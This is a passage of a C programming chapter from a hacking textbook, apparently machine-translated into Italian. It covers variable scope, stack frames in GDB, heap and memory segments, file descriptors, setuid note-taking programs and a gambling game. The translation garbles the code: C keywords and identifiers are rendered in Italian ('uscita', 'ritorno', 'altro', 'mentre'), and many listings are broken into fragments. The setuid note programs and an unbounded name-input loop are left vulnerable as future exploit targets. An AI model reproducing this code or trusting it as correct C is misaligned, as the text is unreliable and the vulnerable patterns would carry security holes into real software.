printf ("\ t [in func1] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t [in func1] j @ 0x% 08x =% d \ n", & j, j);
func2 ();
printf ("\ t [torna in func1] i @ 0x% 08x =% d \ n", & i, i);
printf ("\ t [torna in func1] j @ 0x% 08x =% d \ n", & j, j);
}
64 0x200
Pagina 79
int main () {
int i = 3;
printf ("[in main] i @ 0x% 08x =% d \ n", & i, i);
printf ("[in main] j @ 0x% 08x =% d \ n", & j, j);
func1 ();
printf ("[torna in main] i @ 0x% 08x =% d \ n", & i, i);
printf ("[torna in principale] j @ 0x% 08x =% d \ n", & j, j);
}
Programmazione 65
Pagina 80
10
(gdb) break 7
Breakpoint 1 in 0x8048388: file scope3.c, riga 7.
(gdb) esegui
Avvio del programma: /home/reader/booksrc/a.out
[in main] i @ 0xbffff804 = 3
[in main] j @ 0x08049988 = 42
[in func1] i @ 0xbffff7e4 = 5
[in func1] j @ 0x08049988 = 42
[in func2] i @ 0xbffff7c4 = 7
[in func2] j @ 0x08049988 = 42
[in func2] impostazione j = 1337
(gdb) bt full
# 0 func3 () in scope3.c: 7
io = 11
j = 999
# 1 0x0804841d in func2 () in scope3.c: 17
io = 7
# 2 0x0804849f in func1 () in scope3.c: 26
io = 5
# 3 0x0804852b in main () in scope3.c: 35
io = 3
(gdb)
66 0x200
Pagina 81
static.c
#include <stdio.h>
Il nome appropriato static_var è definito come una variabile statica in due punti:
nel contesto di main () e nel contesto di function () . Dal momento che statico
le variabili sono locali all'interno di un particolare contesto funzionale, queste variabili possono
hanno lo stesso nome, ma in realtà rappresentano due località diverse in
memoria. La funzione stampa semplicemente i valori delle due variabili nella sua configurazione
text e quindi aggiunge 1 a entrambi. Compilare ed eseguire questo codice lo farà
mostra la differenza tra le variabili statiche e non statiche.
lettore @ hacking: ~ / booksrc $ gcc static.c
lettore @ hacking: ~ / booksrc $ ./a.out
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 5
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 6
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 7
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 8
[in main] static_var = 1337
[in funzione] var = 5
[in funzione] static_var = 9
lettore @ hacking: ~ / booksrc $
Programmazione 67
Pagina 82
static2.c
#include <stdio.h>
68 0x200
Pagina 83
Programmazione 69
Pagina 84
70 0x200
Pagina 85
Il seguente codice stack_example.c ha due funzioni: main () e
funzione_test () .
stack_example.c
flag = 31337;
buffer [0] = "A";
}
int main () {
funzione_test (1, 2, 3, 4);
}
Questo programma dichiara prima una funzione di test che ha quattro argomenti, che
sono tutti dichiarati come numeri interi: a , b , c e d . Le variabili locali per la funzione
includere un singolo carattere chiamato flag e un buffer di 10 caratteri chiamato buffer .
La memoria per queste variabili è nel segmento dello stack, mentre la macchina
le istruzioni per il codice della funzione sono memorizzate nel segmento di testo. Dopo
compilando il programma, il suo funzionamento interno può essere esaminato con GDB. Il
L'output seguente mostra le istruzioni della macchina disassemblata per main () e
. La funzione main () inizia da 0x08048357 e test_function ()
funzione_test ()
inizia da 0x08048344 . Le prime poche istruzioni di ciascuna funzione (mostrate in
grassetto sotto) imposta lo stack frame. Queste istruzioni vengono chiamate collettivamente
il prologo della procedura o il prologo della funzione . Salvano il puntatore del fotogramma sul file
stack e salvano la memoria dello stack per le variabili della funzione locale. Qualche volta
il prologo della funzione gestirà anche un po 'di allineamento dello stack. L'esatto
le istruzioni del prologo variano notevolmente a seconda del compilatore e del file
opzioni del compilatore, ma in generale queste istruzioni costruiscono lo stack frame.
Programmazione 71
Pagina 86
Quando il programma viene eseguito, viene chiamata la funzione main () , che semplicemente chiama
funzione_test ().
Quando test_function () viene chiamato dalla funzione main () , i vari file
i valori vengono inseriti nello stack per creare l'inizio dello stack frame come segue.
Quando viene chiamato test_function () , gli argomenti della funzione vengono inseriti nel file
impilare in ordine inverso (poiché è FILO). Gli argomenti per la funzione sono
1, 2, 3 e 4, quindi le successive istruzioni push premono 4, 3, 2 e infine 1
nello stack. Questi valori corrispondono alle variabili d , c , b , e una nella
funzione. Le istruzioni che mettono questi valori in pila sono mostrate in
grassetto nel disassemblaggio della funzione main () di seguito.
Pagina 87
pointer (SFP) e viene successivamente utilizzato per ripristinare EBP al suo stato originale.
Il valore corrente di ESP viene quindi copiato in EBP per impostare il nuovo puntatore di frame.
Questo puntatore al frame viene utilizzato per fare riferimento alle variabili locali della funzione
( bandiera e buffer ). La memoria viene salvata per queste variabili sottraendo da
ESP. Alla fine, lo stack frame ha un aspetto simile a questo:
bandiera
un'
Indirizzi alti
Possiamo osservare la costruzione dello stack frame sullo stack utilizzando GDB. Nel
dopo l'output, un breakpoint viene impostato in main () prima della chiamata a test_function ()
e anche all'inizio di test_function () . GDB metterà la prima pausa-
punto prima che gli argomenti della funzione vengano inseriti nello stack e il secondo
breakpoint dopo il prologo della procedura di test_function () . Quando il programma è
run, l'esecuzione si ferma al breakpoint, dove l'ESP (stack pointer) del registro,
Vengono esaminati EBP (frame pointer) ed EIP (execution pointer).
Programmazione 73
Pagina 88
Questo punto di interruzione si trova subito prima dello stack frame per la chiamata test_function ()
è creato. Ciò significa che il fondo di questo nuovo stack frame è quello corrente
valore di ESP, 0xbffff7f0 . Il punto di interruzione successivo è subito dopo la procedura
prologo per test_function () , quindi continuando si creerà lo stack frame. Il
l'output di seguito mostra informazioni simili al secondo punto di interruzione. Il locale
le variabili ( flag e buffer ) sono referenziate rispetto al frame pointer (EBP).
(gdb) cont
Continuando.
Lo stack frame viene visualizzato sullo stack alla fine. I quattro argomenti a
la funzione può essere vista in fondo allo stack frame (), con il ritorno
indirizzo trovato direttamente in alto (). Sopra quello è il puntatore al fotogramma salvato di
0xbffff808 (), che è ciò che era EBP nello stack frame precedente. Il resto di
la memoria viene salvata per le variabili dello stack locale: flag e buffer . Calcola
i loro indirizzi relativi a EBP mostrano le loro posizioni esatte nello stack
telaio. La memoria per la variabile flag è mostrata in e la memoria per la
La variabile buffer è mostrata in. Lo spazio extra nello stack frame è giusto
imbottitura.
74 0x200
Pagina 89
consentendo allo stack di essere più grande se il verso l'alto verso il basso
indirizzi di memoria.
heap è piccolo e viceversa.
Segmento dello stack
Indirizzi alti
memory_segments.c
#include <stdio.h>
int global_var;
Programmazione 75
Pagina 90
int global_initialized_var = 5;
printf ("stack_var della funzione è all'indirizzo 0x% 08x \ n", & stack_var);
}
int main () {
int stack_var; // Stesso nome della variabile in function ()
static int static_initialized_var = 5;
static int static_var;
int * heap_var_ptr;
76 0x200
Pagina 91
Le prime due variabili inizializzate hanno gli indirizzi di memoria più bassi,
poiché si trovano nel segmento di memoria dati. Le prossime due variabili,
static_vare global_var , sono archiviati nel segmento di memoria bss, dal momento che
non vengono inizializzati. Questi indirizzi di memoria sono leggermente più grandi dei precedenti
indirizzi delle variabili, poiché il segmento bss si trova sotto il segmento dati.
Poiché entrambi questi segmenti di memoria hanno una dimensione fissa dopo la compilazione,
c'è poco spazio sprecato e gli indirizzi non sono molto distanti.
La variabile di heap viene memorizzata nello spazio allocato sul segmento di heap,
che si trova appena sotto il segmento bss. Ricorda quel ricordo in questo
il segmento non è fisso e più spazio può essere allocato dinamicamente in un secondo momento. Finalmente,
gli ultimi due stack_var hanno indirizzi di memoria molto grandi, poiché si trovano
nel segmento dello stack. Anche la memoria nello stack non è fissa; tuttavia, questo
la memoria inizia dal basso e cresce all'indietro verso il segmento di heap.
Ciò consente a entrambi i segmenti di memoria di essere dinamici senza sprecare spazio
memoria. Il primo stack_var nel contesto della funzione main () è memorizzato nel file
segmento dello stack all'interno di uno stack frame. Il secondo stack_var in function () ha il suo
proprio contesto univoco, in modo che la variabile sia memorizzata in un diverso stack frame
nel segmento dello stack. Quando function () viene chiamata verso la fine del programma,
viene creato un nuovo stack frame per memorizzare (tra le altre cose) stack_var per
contesto di function () . Poiché lo stack cresce di nuovo verso il segmento di heap
con ogni nuovo stack frame, l'indirizzo di memoria per il secondo stack_var
( 0xbffff814 ) è più piccolo dell'indirizzo per il primo stack_var ( 0xbffff834 )
trovato nel contesto di main () .
heap_example.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
Programmazione 77
Pagina 92
int main (int argc, char * argv []) {
char * char_ptr; // Un puntatore di caratteri
int * int_ptr; // Un puntatore intero
int mem_size;
printf ("\ t [+] allocare% d byte di memoria sull'heap per char_ptr \ n", mem_size);
char_ptr = (char *) malloc (mem_size); // Allocazione della memoria heap
if (char_ptr == NULL) {// Controllo degli errori, nel caso in cui malloc () fallisca
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}
printf ("\ t [+] allocare 12 byte di memoria sull'heap per int_ptr \ n");
int_ptr = (int *) malloc (12); // Allocato di nuovo la memoria heap
if (int_ptr == NULL) {// Controllo degli errori, nel caso in cui malloc () fallisca
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}
if (char_ptr == NULL) {// Controllo degli errori, nel caso in cui malloc () fallisca
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}
78 0x200
Pagina 93
Questo programma accetta un argomento della riga di comando per la dimensione del primo
allocazione della memoria, con un valore predefinito di 50. Quindi utilizza malloc () e
funzioni free () per allocare e deallocare la memoria nell'heap. Ci sono
un sacco di istruzioni printf () per eseguire il debug di ciò che sta effettivamente accadendo quando il
il programma viene eseguito. Poiché malloc () non sa di che tipo di memoria si tratta
allocando, restituisce un puntatore void alla memoria heap appena allocata,
che deve essere typecast nel tipo appropriato. Dopo ogni chiamata malloc () ,
c'è un blocco di controllo degli errori che controlla se l'allocazione o meno
fallito. Se l'allocazione fallisce e il puntatore è NULL, viene utilizzato fprintf ()
stampa un messaggio di errore su standard error e il programma si chiude. Il fprintf ()
la funzione è molto simile a printf () ; tuttavia, il suo primo argomento è stderr , che
è un filestream standard pensato per visualizzare gli errori. Questa funzione sarà
spiegato più avanti, ma per ora è usato solo come un modo per visualizzare correttamente
un errore. Il resto del programma è piuttosto semplice.
Se un blocco di memoria più grande viene allocato e quindi deallocato, il file final
L'allocazione di 15 byte si verificherà invece in quello spazio di memoria liberato. Per esperienza
menting con valori diversi, è possibile capire esattamente quando l'allocazione
Programmazione 79
Pagina 94
la funzione sceglie di recuperare lo spazio liberato per nuove allocazioni. Spesso semplice
informativa printf () le dichiarazioni e un po 'di sperimentazione può rivelare molti
cose sul sistema sottostante.
errorchecked_heap.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
printf ("\ t [+] allocare% d byte di memoria sull'heap per char_ptr \ n", mem_size);
char_ptr = (char *) errorchecked_malloc (mem_size); // Allocazione della memoria heap
80 0x200
Pagina 95
void * errorchecked_malloc (unsigned int size) {// Una funzione malloc () verificata dagli errori
void * ptr;
ptr = malloc (dimensione);
if (ptr == NULL) {
fprintf (stderr, "Errore: impossibile allocare memoria heap. \ n");
uscita (-1);
}
return ptr;
}
Programmazione 81
Pagina 96
Il codice a barre sul retro di questo libro rappresenta un numero. Perchè questo
numero è unico tra gli altri libri in una libreria, il cassiere può
scansiona il numero al momento del pagamento e usalo per fare riferimento alle informazioni su questo
prenota nel database del negozio. Allo stesso modo, un descrittore di file è un numero che è
utilizzato per fare riferimento a file aperti. Quattro funzioni comuni che utilizzano descrittori di file
sono open () , close () , read () e write () . Tutte queste funzioni restituiranno Г1 se
c'è un errore. La funzione open () apre un file per la lettura e / o la scrittura
e restituisce un descrittore di file. Il descrittore di file restituito è solo un numero intero
valore, ma è unico tra i file aperti. Il descrittore di file viene passato come file
argomento per le altre funzioni come un puntatore al file aperto. Per il
close (), il descrittore di file è l'unico argomento. Il read () e
Gli argomenti delle funzioni write () sono il descrittore di file, un puntatore ai dati a
leggere o scrivere e il numero di byte da leggere o scrivere da quella posizione.
Gli argomenti della funzione open () sono un puntatore al nome del file da aprire
e una serie di flag predefiniti che specificano la modalità di accesso. Queste bandiere e
il loro utilizzo verrà spiegato in dettaglio più avanti, ma per ora diamo un'occhiata a un file
semplice programma per prendere appunti che utilizza descrittori di file: simplenote.c. Questo
il programma accetta una nota come argomento della riga di comando e quindi la aggiunge al file
fine del file / tmp / notes. Questo programma utilizza diverse funzioni, incluso un file
funzione di allocazione della memoria dell'heap controllata dagli errori dall'aspetto familiare. Altre funzioni
vengono utilizzate per visualizzare un messaggio di utilizzo e per gestire gli errori irreversibili. Il
La funzione usage () è semplicemente definita prima di main () , quindi non ha bisogno di una funzione
prototipo.
simplenote.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
82 0x200
Pagina 97
strncat (buffer, "\ n", 1); // Aggiunge una nuova riga alla fine.
Oltre agli strani flag usati nella funzione open () , la maggior parte di questo
il codice dovrebbe essere leggibile. Ci sono anche alcune funzioni standard che noi
non hanno mai usato prima. La funzione strlen () accetta una stringa e restituisce la sua
lunghezza. Viene utilizzato in combinazione con la funzione write () , poiché è necessario
sapere quanti byte scrivere. La funzione perror () è l'abbreviazione di print error ed è
utilizzato in fatal () per stampare un messaggio di errore aggiuntivo (se esiste) prima di uscire.
Programmazione 83
Pagina 98
Questi flag possono essere combinati con molti altri flag opzionali utilizzando il
Operatore OR bit per bit. Alcuni dei più comuni e utili di questi flag sono
come segue:
Le operazioni bit per bit combinano i bit utilizzando porte logiche standard come OR e
E. Quando due bit entrano in una porta OR, il risultato è 1 se il primo bit o il file
il secondo bit è 1. Se due bit entrano in una porta AND, il risultato è 1 solo se entrambi i primi
bit e il secondo bit sono 1. I valori a 32 bit completi possono utilizzare questi operatori bit per bit per
eseguire operazioni logiche su ogni bit corrispondente. Il codice sorgente di
bitwise.c e l'output del programma dimostrano queste operazioni bitwise.
bitwise.c
#include <stdio.h>
int main () {
int i, bit_a, bit_b;
printf ("operatore OR bit per bit | \ n");
84 0x200
Pagina 99
fcntl_flags.c
#include <stdio.h>
#include <fcntl.h>
Programmazione 85
Pagina 100
L'utilizzo di flag di bit in combinazione con la logica bit per bit è un metodo efficiente e
monly ha usato la tecnica. Finché ogni bandiera è un numero che ha solo un unico
bit attivati, l'effetto di eseguire un OR bit per bit su questi valori è lo stesso di
aggiungendoli. In fcntl_flags.c, 1 + 1024 + 64 = 1089. Questa tecnica funziona solo
quando tutti i bit sono unici, però.
86 0x200
Pagina 101
Se hai già familiarità con i permessi dei file Unix, quei flag dovrebbero
ha perfettamente senso per te. Se non hanno senso, ecco un corso accelerato in
Autorizzazioni file Unix.
Ogni file ha un proprietario e un gruppo. Questi valori possono essere visualizzati utilizzando
ls -l e sono mostrati di seguito nel seguente output.
Per il file / etc / passwd, il proprietario è root e anche il gruppo è root. Per
gli altri due file semplici, il proprietario è il lettore e il gruppo è gli utenti.
Le autorizzazioni di lettura, scrittura ed esecuzione possono essere attivate e disattivate per tre
diversi campi: utente, gruppo e altro. Le autorizzazioni utente descrivono cosa è
proprietario del file può fare (leggere, scrivere e / o eseguire), i permessi di gruppo
descrivere cosa possono fare gli utenti di quel gruppo e descrivere altre autorizzazioni
quello che tutti gli altri possono fare. Questi campi vengono visualizzati anche nella parte anteriore del file
ls -loutput. Innanzitutto, vengono visualizzate le autorizzazioni di lettura / scrittura / esecuzione dell'utente,
usando r per leggere, w per scrivere, x per eseguire e - per off. I prossimi tre
i caratteri visualizzano i permessi del gruppo e gli ultimi tre caratteri lo sono
per le altre autorizzazioni. Nell'output sopra, il programma simplenote ha
tutte e tre le autorizzazioni utente attivate (mostrate in grassetto). Ogni permesso cor-
risponde a un flag di bit; read è 4 (100 in binario), write è 2 (010 in binario) e
execute è 1 (001 in binario). Poiché ogni valore contiene solo bit univoci,
un'operazione OR bit per bit ottiene lo stesso risultato dell'aggiunta di questi numeri
insieme fa. Questi valori possono essere sommati per definire le autorizzazioni per
utente, gruppo e altro utilizzando il comando chmod .
Programmazione 87
Pagina 102
0x283 ID utente
Ogni utente su un sistema Unix ha un numero ID utente univoco. Questo ID utente può
essere visualizzato utilizzando il comando id .
88 0x200
Pagina 103
Come l'utente jose, il programma simplenote verrà eseguito come jose se viene eseguito,
ma non avrà accesso al file / tmp / notes. Questo file è di proprietà dell'utente
lettore e consente solo il permesso di lettura e scrittura al suo proprietario.
Il programma chsh ha il flag setuid impostato, che è indicato da una s nel file
È l'output sopra. Poiché questo file è di proprietà di root e dispone dell'autorizzazione setuid
impostato, il programma verrà eseguito come utente root quando un utente esegue questo programma.
Anche il file / etc / passwd su cui scrive chsh è di proprietà di root e consente solo
il proprietario per scriverci. La logica del programma in chsh è progettata per consentire solo
scrivendo alla riga in / etc / passwd che corrisponde all'utente che esegue il file
programma, anche se il programma è effettivamente in esecuzione come root. Questo
significa che un programma in esecuzione ha sia un ID utente reale che un utente effettivo
ID. Questi ID possono essere recuperati utilizzando le funzioni getuid () e geteuid () ,
rispettivamente, come mostrato in uid_demo.c.
Programmazione 89
Pagina 104
uid_demo.c
#include <stdio.h>
int main () {
printf ("real uid:% d \ n", getuid ());
printf ("uid effettivo:% d \ n", geteuid ());
}
Poiché il programma è ora di proprietà di root, è necessario utilizzare sudo per modificare
permessi di file su di esso. Il chmod u + s giri di comando sulla setuid autoriz-
sion, che può essere visto nel seguente output di ls -l . Ora quando l'utente
il lettore esegue uid_demo , l'ID utente effettivo è 0 per root, il che significa che il file
il programma può accedere ai file come root. Questo è il modo in cui il programma chsh è in grado di consentire
qualsiasi utente per modificare la propria shell di login memorizzata in / etc / passwd.
90 0x200
Pagina 105
Questa stessa tecnica può essere utilizzata in un programma per prendere appunti multiutente.
Il prossimo programma sarà una modifica del programma simplenote; lo farà
registra anche l'ID utente dell'autore originale di ciascuna nota. Inoltre, un nuovo
verrà introdotta la sintassi per #include .
Le funzioni ec_malloc () e fatal () sono state utili in molti dei nostri
programmi. Invece di copiare e incollare queste funzioni in ogni programma,
possono essere inseriti in un file di inclusione separato.
hacking.h
notetaker.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
#include "hacking.h"
Programmazione 91
Pagina 106
Il file di output è stato modificato da / tmp / notes a / var / notes, quindi il file
i dati sono ora archiviati in un luogo più permanente. La funzione getuid () è usata per
ottenere l'ID utente reale, che viene scritto nel file di dati sulla riga prima della nota
la linea è scritta. Poiché la funzione write () si aspetta un puntatore per la sua sorgente,
l' operatore & viene utilizzato sul valore intero userid per fornire il suo indirizzo.
92 0x200
Pagina 107
Il file / var / notes contiene l'ID utente del lettore (999) e la nota.
A causa dell'architettura little-endian, compaiono i 4 byte dell'intero 999
invertito in esadecimale (mostrato in grassetto sopra).
Affinché un normale utente possa leggere i dati della nota, un
ing setuid è necessaria programma principale. Il programma notesearch.c leggerà il file
annotare i dati e visualizzare solo le note scritte da quell'ID utente. Inoltre, un file
È possibile fornire un argomento facoltativo della riga di comando per una stringa di ricerca. quando
viene utilizzato, verranno visualizzate solo le note che corrispondono alla stringa di ricerca.
notesearch.c
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
#include "hacking.h"
Programmazione 93
Pagina 108
int print_notes (int, int, char *); // Funzione di stampa delle note.
int find_user_note (int, int); // Cerca nel file una nota per l'utente.
int search_note (char *, char *); // Cerca la funzione parola chiave.
void fatal (char *); // Gestore di errori irreversibili
mentre (stampa)
stampa = print_notes (fd, userid, searchstring);
printf ("------- [dati di fine nota] ------- \ n");
chiudere (fd);
}
// Una funzione per stampare le note per un dato uid che corrisponde
// una stringa di ricerca opzionale;
// restituisce 0 alla fine del file, 1 se ci sono ancora più note.
int print_notes (int fd, int uid, char * searchstring) {
int note_length;
char byte = 0, note_buffer [100];
while (note_uid! = user_uid) {// Continua finché non viene trovata una nota per user_uid.
94 0x200
Pagina 109
byte = lunghezza = 0;
while (byte! = '\ n') {// Calcola quanti byte mancano alla fine della riga.
if (read (fd, & byte, 1)! = 1) // Legge un singolo byte.
return -1; // Se byte non viene letto, restituisce la fine del codice del file.
length ++;
}
}
lseek (fd, lunghezza * -1, SEEK_CUR); // Riavvolge la lettura del file in base alla lunghezza dei byte.
printf ("[DEBUG] ha trovato una nota di% d byte per l'ID utente% d \ n", length, note_uid);
lunghezza di ritorno;
}
// Una funzione per cercare una nota per una determinata parola chiave;
// restituisce 1 se viene trovata una corrispondenza, 0 se non esiste alcuna corrispondenza.
int search_note (char * note, char * keyword) {
int i, keyword_length, match = 0;
La maggior parte di questo codice dovrebbe avere senso, ma ci sono alcuni nuovi concetti.
Il nome del file è definito in alto invece di utilizzare la memoria heap. Anche il
la funzione lseek () viene utilizzata per riavvolgere la posizione di lettura nel file. La funzione
chiamata di lseek (fd, length * -1, SEEK_CUR); dice al programma di spostare la lettura
posizione in avanti dalla posizione corrente nel file per lunghezza * -1 byte.
Poiché questo risulta essere un numero negativo, la posizione viene spostata all'indietro
per lunghezza byte.
Programmazione 95
Pagina 110
Quando l'utente jose utilizza questi programmi, l'ID utente reale è 501. Questo
significa che il valore viene aggiunto a tutte le note scritte con notetaker e solo alle note
con un ID utente corrispondente verrà visualizzato dal programma notesearch.
reader @ hacking: ~ / booksrc $ ./notetaker "Questa è un'altra nota per l'utente lettore"
[DEBUG] buffer @ 0x804a008: "Questa è un'altra nota per l'utente lettore"
[DEBUG] file di dati @ 0x804a070: "/ var / notes"
Il descrittore del file [DEBUG] è 3
La nota è stata salvata.
lettore @ hacking: ~ / booksrc $ ./notesearch
[DEBUG] ha trovato una nota di 34 byte per l'ID utente 999
questo è un test di note multiutente
[DEBUG] ha trovato una nota di 41 byte per l'ID utente 999
Questa è un'altra nota per l'utente lettore
------- [dati di fine nota] -------
lettore @ hacking: ~ / booksrc $
Allo stesso modo, tutte le note per il lettore utente hanno l'ID utente 999 allegato
loro. Anche se entrambi i programmi notetaker e notesearch sono suid
root e avere pieno accesso in lettura e scrittura al file di dati / var / notes, il
la logica del grammo nel programma di ricerca delle note impedisce all'utente corrente di visualizzare
le note di altri utenti. Questo è molto simile a come viene memorizzato il file / etc / passwd
informazioni utente per tutti gli utenti, ma programmi come chsh e passwd consentono a qualsiasi utente
per cambiare la propria shell o password.
0x284 Structs
A volte ci sono più variabili che dovrebbero essere raggruppate insieme e
trattato come tale. In C, le strutture sono variabili che possono contenere molte altre variabili
abili. Le strutture sono spesso utilizzate da varie funzioni di sistema e librerie, quindi
capire come usare gli struct è un prerequisito per usare queste funzioni.
96 0x200
Pagina 111
Per ora basterà un semplice esempio. Quando si ha a che fare con molte funzioni temporali,
queste funzioni usano una struttura temporale chiamata tm , che è definita in / usr / include /
time.h. La definizione della struttura è la seguente.
struct tm {
int tm_sec; / * secondi * /
int tm_min; /* minuti */
int tm_hour; /* ore */
int tm_mday; / * giorno del mese * /
int tm_mon; /* mese */
int tm_year; /* anno */
int tm_wday; /* giorno della settimana */
int tm_yday; / * giorno dell'anno * /
int tm_isdst; / * ora legale * /
};
Dopo che questa struttura è stata definita, struct tm diventa un tipo di variabile utilizzabile, che
può essere utilizzato per dichiarare variabili e puntatori con il tipo di dati della struttura tm .
Il programma time_example.c lo dimostra. Quando time.h è incluso,
la tm struct è definita, che viene poi utilizzata per dichiarare il current_time e
variabili time_ptr .
time_example.c
#include <stdio.h>
#include <time.h>
int main () {
long int seconds_since_epoch;
struct tm current_time, * time_ptr;
int ora, minuto, secondo, giorno, mese, anno;
printf ("L'ora corrente è:% 02d:% 02d:% 02d \ n", ora, minuto, secondo);
}
Programmazione 97
Pagina 112
di current_time , una struttura tm vuota . L'indirizzo dell'operatore viene utilizzato per fornire
un puntatore a seconds_since_epoch per l'altro argomento a localtime_r () , che
riempie gli elementi della struttura tm . È possibile accedere agli elementi delle strutture in
tre modi diversi; i primi due sono i modi corretti per accedere agli elementi della struttura,
e la terza è una soluzione compromessa. Se viene utilizzata una variabile struct, i suoi elementi possono
accessibile aggiungendo i nomi degli elementi alla fine del nome della variabile
con un punto. Pertanto, current_time.tm_hour accederà solo a tm_hour
elemento della struttura tm chiamato current_time . I puntatori alle strutture vengono spesso utilizzati,
poiché è molto più efficiente passare un puntatore a quattro byte rispetto a un intero dato
struttura. I puntatori a Struct sono così comuni che C ha un metodo incorporato per
accedere agli elementi struct da un puntatore a struct senza dover dereferenziare
il puntatore. Quando si usa un puntatore a struttura come time_ptr , gli elementi struct possono essere
accessibile in modo simile dal nome dell'elemento struct, ma utilizzando una serie di caratteri
sembra una freccia che punta a destra. Pertanto, time_ptr-> tm_min lo farà
accedere all'elemento tm_min della struttura tm a cui punta time_ptr . Il
secondi è possibile accedere tramite uno di questi metodi appropriati, utilizzando il
tm_sec o
la struttura tm , ma viene utilizzato un terzo metodo. Riesci a capire
come funziona questo terzo metodo?
time_example2.c
#include <stdio.h>
#include <time.h>
98 0x200
Pagina 113
int main () {
long int seconds_since_epoch;
struct tm current_time, * time_ptr;
int ora, minuti, secondi, i, * int_ptr;
printf ("L'ora corrente è:% 02d:% 02d:% 02d \ n", ora, minuto, secondo);
Programmazione 99
Pagina 114
Sebbene sia possibile accedere alla memoria della struttura in questo modo, vengono fatte delle ipotesi
sul tipo di variabili nella struttura e sulla mancanza di riempimento tra
variabili. Poiché i tipi di dati degli elementi di una struttura vengono memorizzati anche in
struct, usare metodi appropriati per accedere agli elementi struct è molto più semplice.
funcptr_example.c
#include <stdio.h>
int func_one () {
printf ("Questa è la funzione uno \ n");
ritorno 1;
}
int func_two () {
printf ("Questa è la funzione due \ n");
ritorno 2;
}
int main () {
valore int;
int (* function_ptr) ();
function_ptr = func_one;
printf ("function_ptr è 0x% 08x \ n", function_ptr);
valore = function_ptr ();
printf ("il valore restituito era% d \ n", valore);
function_ptr = func_two;
printf ("function_ptr è 0x% 08x \ n", function_ptr);
valore = function_ptr ();
printf ("il valore restituito era% d \ n", valore);
}
In questo programma, viene dichiarato un puntatore a funzione chiamato in modo appropriato function_ptr
in main () . Questo puntatore viene quindi impostato per puntare alla funzione func_one () ed è
chiamato; quindi viene impostato di nuovo e utilizzato per chiamare func_two () . L'output di seguito mostra
la compilazione e l'esecuzione di questo codice sorgente.
100 0x200
Pagina 115
function_ptr è 0x0804838d
Questa è la funzione due
il valore restituito era 2
lettore @ hacking: ~ / booksrc $
rand_example.c
#include <stdio.h>
#include <stdlib.h>
int main () {
int i;
printf ("RAND_MAX è% u \ n", RAND_MAX);
srand (time (0));
Si noti come viene utilizzato l'operatore modulo per ottenere valori casuali da
Da 1 a 20.
Programmazione 101
Pagina 116
815015288
1315541117
2080969327
450538726
710528035
907694519
1525415338
1843056422
valori casuali da 1 a 20
2
3
8
5
9
1
4
20
lettore @ hacking: ~ / booksrc $ ./a.out
RAND_MAX è 2147483647
valori casuali da 0 a RAND_MAX
678789658
577505284
1472754734
2134715072
1227404380
1746681907
341911720
93522744
valori casuali da 1 a 20
6
16
12
19
8
19
2
1
lettore @ hacking: ~ / booksrc $
102 0x200
Pagina 117
game_of_chance.c
#include <stdio.h>
#include <string.h>
#include <fcntl.h>
#include <sys / stat.h>
#include <time.h>
#include <stdlib.h>
#include "hacking.h"
// Prototipi di funzioni
int get_player_data ();
void register_new_player ();
void update_player_data ();
void show_highscore ();
jackpot nullo ();
void input_name ();
void print_cards (char *, char *, int);
int take_wager (int, int);
void play_the_game ();
int pick_a_number ();
int dealer_no_match ();
int find_the_ace ();
void fatal (char *);
// Variabili globali
struct user player; // Struttura del giocatore
int main () {
int choice, last_game;
while (scelta! = 7) {
printf ("- = [Menu del gioco d'azzardo] = - \ n");
printf ("1 - Gioca al gioco Scegli un numero \ n");
printf ("2 - Gioca al gioco No Match Dealer \ n");
printf ("3 - Gioca al gioco Trova l'asso \ n");
printf ("4 - Visualizza il punteggio più alto attuale \ n");
printf ("5 - Cambia il tuo nome utente \ n");
Programmazione 103
Pagina 118
104 0x200
Pagina 119
return -1;
altro
giocatore = entrata; // Copia la voce di lettura nella struttura del lettore.
ritorno 1; // Restituisce un successo.
}
Programmazione 105
Pagina 120
int fd;
// Questa funzione viene utilizzata per inserire il nome del giocatore, da allora
// scanf ("% s", & qualunque cosa) interromperà l'input al primo spazio.
void input_name () {
char * name_ptr, input_char = '\ n';
while (input_char == '\ n') // Elimina gli avanzi
scanf ("% c", & input_char); // caratteri di nuova riga.
name_ptr = (char *) & (player.name); // name_ptr = indirizzo del nome del giocatore
while (input_char! = '\ n') {// Ciclo fino a nuova riga.
* name_ptr = input_char; // Inserisce il carattere di input nel campo del nome.
scanf ("% c", & input_char); // Ottieni il carattere successivo.
name_ptr ++; // Incrementa il puntatore del nome.
}
* name_ptr = 0; // Termina la stringa.
}
106 0x200
Pagina 121
altro {
for (i = 0; i <user_pick; i ++)
printf ("\ t");
printf ("^ - la tua scelta \ n");
}
}
// Questa funzione inserisce le scommesse sia per il No Match Dealer che per
// Trova i giochi Ace. Si aspettano i crediti disponibili e il
// scommessa precedente come argomenti. La scommessa_precedente è importante solo
// per la seconda scommessa nel gioco Trova l'asso. La funzione
// restituisce -1 se la scommessa è troppo grande o troppo piccola e ritorna
// l'importo della scommessa altrimenti.
int take_wager (int available_credits, int previous_wager) {
int wager, total_wager;
while (play_again) {
printf ("\ n [DEBUG] puntatore_gioco corrente @ 0x% 08x \ n", giocatore.corrent_game);
if (player.current_game ()! = -1) { // Se il gioco funziona senza errori e
se (player.credits> player.highscore) // viene impostato un nuovo punteggio elevato,
player.highscore = player.credits; // aggiorna il punteggio più alto.
printf ("\ nHai ora% u crediti \ n", player.credits);
update_player_data (); // Scrivi il nuovo totale del credito su file.
printf ("Ti piacerebbe giocare di nuovo? (y / n)");
selezione = '\ n';
while (selezione == '\ n') // Elimina ogni nuova riga in più.
scanf ("% c", & selezione);
if (selezione == 'n')
play_again = 0;
}
altro // Ciò significa che il gioco ha restituito un errore,
